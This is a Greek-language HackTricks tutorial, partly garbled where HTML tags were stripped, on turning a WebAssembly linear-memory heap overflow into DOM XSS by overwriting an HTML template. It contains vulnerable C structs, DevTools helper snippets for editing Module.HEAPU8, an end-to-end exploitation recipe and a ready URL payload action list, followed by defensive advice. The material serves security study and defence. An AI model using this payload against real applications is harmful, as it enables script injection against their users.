%.*s
WebAssembly linear memory corruption to DOM XSS (template overwrite)
Reading time: 8 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Αυτή η τεχνική δείχνει πώς ένα bug αλλοίωσης μνήμης μέσα σε ένα WebAssembly (WASM) module compiled with Emscripten μπορεί να αξιοποιηθεί σε αξιόπιστο DOM XSS ακόμη κι όταν η είσοδος έχει υποστεί sanitization. Το pivot είναι να καταστραφούν εγγράψιμες σταθερές στη WASM linear memory (π.χ. HTML format templates) αντί να επιτεθείς στην ήδη sanitized αρχική συμβολοσειρά.
Κεντρική ιδέα: Στο μοντέλο του WebAssembly, ο κώδικας ζει σε μη-εγγράψιμες executable σελίδες, αλλά τα δεδομένα του module (heap/stack/globals/"constants") ζουν σε μία ενιαία flat linear memory (σελίδες των 64KB) που είναι εγγράψιμη από το module. Αν buggy C/C++ κώδικας γράψει out-of-bounds, μπορείς να αντικαταστήσεις γειτονικά αντικείμενα και ακόμα και constant strings ενσωματωμένες στη linear memory. Όταν μια τέτοια σταθερά χρησιμοποιείται αργότερα για να χτίσει HTML για εισαγωγή μέσω ενός DOM sink, μπορείς να μετατρέψεις sanitized είσοδο σε εκτελέσιμο JavaScript.
Threat model and preconditions
- Web app χρησιμοποιεί Emscripten glue (Module.cwrap) για να καλέσει ένα WASM module.
- Η κατάσταση της εφαρμογής βρίσκεται στη WASM linear memory (π.χ. C structs με pointers/lengths σε user buffers).
- Ο input sanitizer κωδικοποιεί metacharacters πριν την αποθήκευση, αλλά η μετέπειτα απόδοση χτίζει HTML χρησιμοποιώντας ένα format string αποθηκευμένο στη WASM linear memory.
- Υπάρχει μια linear-memory corruption primitive (π.χ. heap overflow, UAF, ή unchecked memcpy).
Minimal vulnerable data model (example)
typedef struct msg {
char *msg_data; // pointer to message bytes
size_t msg_data_len; // length after sanitization
int msg_time; // timestamp
int msg_status; // flags
} msg;
typedef struct stuff {
msg *mess; // dynamic array of msg
size_t size; // used
size_t capacity; // allocated
} stuff; // global chat state in linear memory
Ευάλωτο μοτίβο λογικής
- addMsg(): δεσμεύει νέο buffer με μέγεθος ίσο με την καθαρισμένη είσοδο και προσθέτει ένα msg στο s.mess, διπλασιάζοντας τη χωρητικότητα με realloc όταν χρειάζεται.
- editMsg(): επανακαθαρίζει και εκτελεί memcpy για να γράψει τα νέα bytes στο υπάρχον buffer χωρίς να διασφαλίζει ότι το νέο μήκος ≤ η παλιά allocation → intra‑linear‑memory heap overflow.
- populateMsgHTML(): μορφοποιεί το καθαρισμένο κείμενο με ένα ενσωματωμένο stub όπως "
" που βρίσκεται στο linear memory. Το επιστρεφόμενο HTML καταλήγει σε DOM sink (π.χ., innerHTML).
Allocator grooming with realloc()
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
- Στείλτε αρκετά μηνύματα ώστε να ξεπεράσουν την αρχική χωρητικότητα. Μετά την αύξηση, το realloc() συχνά τοποθετεί το s->mess αμέσως μετά το τελευταίο buffer χρήστη στη linear memory.
- Υπερχείλιστε το τελευταίο μήνυμα μέσω editMsg() για να καταστρέψετε πεδία μέσα στο s->mess (π.χ. overwrite δείκτες msg_data) → αυθαίρετη επανεγγραφή δεικτών μέσα στη linear memory για δεδομένα που θα αποδοθούν αργότερα.
Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
- Η sanitization προστατεύει την είσοδο, όχι τα sinks. Εντοπίστε το format stub που χρησιμοποιείται από populateMsgHTML(), π.χ.:
- "
" → change to "%.*s
"
- Εντοπίστε το stub ντετερμινιστικά σαρώνοντας τη linear memory· είναι ένα plain byte string μέσα στο Module.HEAPU8.
- Αφού αντικαταστήσετε το stub, το sanitized message content γίνεται ο JavaScript handler για onerror, οπότε προσθέτοντας ένα νέο μήνυμα με κείμενο όπως alert(1337) παράγει
και εκτελείται άμεσα στο DOM.
Chrome DevTools workflow (Emscripten glue)
- Βάλτε breakpoint στην πρώτη κλήση Module.cwrap στο JS glue και μπείτε στο wasm call site για να καταγράψετε τα pointer arguments (αριθμητικές μετατοπίσεις μέσα στη linear memory).
- Χρησιμοποιήστε typed views όπως Module.HEAPU8 για να διαβάσετε/γράψετε τη WASM memory από το console.
- Βοηθητικά αποσπάσματα:
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
Συνταγή εκμετάλλευσης end-to-end
- Groom: πρόσθεσε N μικρά μηνύματα για να ενεργοποιήσεις την realloc(). Βεβαιώσου ότι s->mess είναι δίπλα σε ένα user buffer.
- Overflow: κάλεσε editMsg() στο τελευταίο μήνυμα με μεγαλύτερο payload για να υπεργράψεις μια εγγραφή στο s->mess, ρυθμίζοντας το msg_data του message 0 να δείχνει στο (stub_addr + 1). Το +1 παραλείπει το αρχικό '<' ώστε η ευθυγράμμιση των tags να παραμείνει ακέραια κατά την επόμενη επεξεργασία.
- Template rewrite: επεξεργάσου το message 0 ώστε τα bytes του να υπεργράψουν το template με: "img src=1 onerror=%.*s ".
- Trigger XSS: πρόσθεσε νέο μήνυμα του οποίου το sanitized περιεχόμενο είναι JavaScript, π.χ. alert(1337). Η απόδοση παράγει
και εκτελείται.
Παράδειγμα λίστας ενεργειών για σειριοποίηση και τοποθέτηση στο ?s= (Base64-encode με btoa πριν τη χρήση)
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]
Γιατί αυτό το bypass λειτουργεί
- WASM αποτρέπει την εκτέλεση κώδικα από linear memory, αλλά constant data μέσα στη linear memory είναι εγγράψιμα εάν η λογική του προγράμματος έχει σφάλματα.
- Ο sanitizer προστατεύει μόνο το source string· με τη διαφθορά του sink (το HTML template), το sanitized input γίνεται η τιμή του JS handler και εκτελείται όταν εισαχθεί στο DOM.
- realloc()-driven adjacency σε συνδυασμό με unchecked memcpy στις edit flows επιτρέπει pointer corruption ώστε να ανακατευθύνει writes σε attacker-chosen addresses μέσα στη linear memory.
Γενίκευση και άλλες επιφάνειες επίθεσης
- Οποιοδήποτε in-memory HTML template, JSON skeleton ή URL pattern ενσωματωμένο σε linear memory μπορεί να στοχευτεί για να αλλάξει το πώς το sanitized data ερμηνεύεται downstream.
- Άλλα κοινά WASM pitfalls: out-of-bounds writes/reads στη linear memory, UAF σε heap objects, function-table misuse με unchecked indirect call indices, και JS↔WASM glue mismatches.
Κατευθυντήριες οδηγίες άμυνας
- Στις edit paths, επαληθεύστε new length ≤ capacity· αλλάξτε το μέγεθος των buffers πριν το copy (realloc σε new_len) ή χρησιμοποιήστε size-bounded APIs (snprintf/strlcpy) και παρακολουθείστε το capacity.
- Κρατήστε immutable templates εκτός writable linear memory ή κάντε integrity-check πριν από τη χρήση.
- Θεωρήστε τα JS↔WASM boundaries μη αξιόπιστα: validate pointer ranges/lengths, fuzz τις exported interfaces, και περιορίστε το memory growth.
- Sanitize at the sink: αποφύγετε το building HTML σε WASM· προτιμήστε safe DOM APIs αντί για innerHTML-style templating.
- Αποφύγετε να εμπιστεύεστε URL-embedded state για privileged flows.
References
- Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox
- V8: Wasm Compilation Pipeline
- V8: Liftoff (baseline compiler)
- Debugging WebAssembly in Chrome DevTools (YouTube)
- SSD: Intro to Chrome exploitation (WASM edition)
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.